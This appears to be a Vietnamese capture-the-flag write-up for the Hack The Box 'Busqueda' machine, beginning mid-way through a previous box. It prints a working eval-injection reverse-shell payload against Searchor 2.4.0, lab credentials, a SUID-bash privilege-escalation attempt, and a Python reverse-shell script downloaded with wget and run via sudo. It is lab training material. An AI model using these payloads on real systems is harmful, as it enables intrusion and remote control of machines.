để leo quyền nên ta viết lại file như sau ![](https://i.imgur.com/YMDgYKy.png) ![](https://i.imgur.com/9JM3B8d.png) ## Busqueda ![](https://hackmd.io/_uploads/H1v6m5IV2.png) ![](https://hackmd.io/_uploads/BJNz4qI43.png) Website cho phép ta tìm kiếm trên các engine ![](https://hackmd.io/_uploads/S13nrqUNh.png) Mình nghĩ đến khả năng bị SSRF tuy nhiên thử vài payload thấy k có gì, kéo xuống bên dưới ta thấy web được dev bằng Flask và Searchor 2.4.0 ![](https://hackmd.io/_uploads/HkYdOcLE2.png) GG Search ta nhận thấy rằng `Searchor 2.4.0` dùng eval để xử lý (ảo thật) https://github.com/ArjunSharda/Searchor/commit/29d5b1f28d29d6a282a5e860d456fab2df24a16b Payload nhét vào query: `', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.129',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#` giải thích: vì eval k thực hiện được nhiều câu lệnh trên cùng 1 dòng nên ta phải dùng exec, dấu `'` đầu tiên để escape `'` và `#` dùng để escape `'` cuối. Ok vậy là lấy được flag user ![](https://hackmd.io/_uploads/HyqnmiUV3.png) tìm được thông tin: `cody:jh1usoih2bkjaspwe92` cùng với subdomain `http://gitea.searcher.htb/` ![](https://hackmd.io/_uploads/rkNGsjLE2.png) ![](https://hackmd.io/_uploads/By6CsjLVn.png) ![](https://hackmd.io/_uploads/BJ-H6sLVh.png) đăng nhập vào và thấy account `administrator` ![](https://hackmd.io/_uploads/rkdC6sLV3.png) quay lại `sudo -l` với thông tin cody thì nhận thấy rằng được phép excute 1 file python này nhưng không đọc được source, vì vậy mình thử nghịch xem sao ![](https://hackmd.io/_uploads/Hk5BAiIEh.png) hmm thì ra hoạt động chính của nó là run docker với quyền root ![](https://hackmd.io/_uploads/SJTOyhIN2.png) sử dụng `docker-inspect` để in ra thông tin, thông tin trong DB không có tác dụng mấy, hãy tập trung vào cái docker gitea kia. ![](https://hackmd.io/_uploads/BJAze38En.png) đăng nhập với thông tin `administrator:yuiu1hoiu4i5ho1uh`, ta vào được acc admin ![](https://hackmd.io/_uploads/ByP8Zh8Eh.png) đọc source ta thấy rằng script sẽ run file `full-checkup.sh` với nên ta đơn giản là cần tạo file `full-checkup.sh` theo cách cấp suid cho /bin/bash nhưng mà đ hiểu sao k đc: ```shell= echo '/bin/bash' >> full-checkup.sh echo "chmod +s /bin/bash" >> full-checkup.sh chmod 777 full-checkup.sh sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup ls -la /bin/bash /bin/bash -p ``` về sau mình phải đi tham khảo wu tạo file `full-checkup.sh` như này phải listen, mình đ thích nhưng mà nó ra flag nên ... :< : ```shell= #!/usr/bin/python3 import socket import subprocess import os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.129",9001)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) import pty pty.spawn("sh") ``` ```shell= wget 10.10.14.129/full-checkup.sh chmod 777 full-checkup.sh sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup ``` ![](https://hackmd.io/_uploads/SJocMT8E3.png)